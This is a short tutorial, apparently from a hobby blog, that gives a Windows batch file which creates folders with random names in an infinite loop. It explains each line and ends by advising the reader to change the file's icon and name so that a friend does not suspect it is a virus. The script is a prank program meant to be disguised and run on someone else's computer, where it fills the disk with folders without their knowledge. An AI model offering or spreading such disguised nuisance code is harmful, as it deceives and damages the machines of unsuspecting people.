How to create more than 3,000 folders in a minute ?

STEPS : 

1.  Open your notepad and type the following code.

@echo off
:top
md %random%
goto top

2. Save it as 1000.bat

What the coding does ??

@echo off  makes your screen appear blank but it is actually making hundreds of folders.
md %random% is command that creating folders with random names.( md is a command to make directory in ms-dos)
goto top return the command to :top , cause an infinite loop.

NOTE : The folders will be created in directory where you saved the " 1000.bat " file.
If you want to fool your change the file icon and name.So that he doesn't suspect it to be a virus.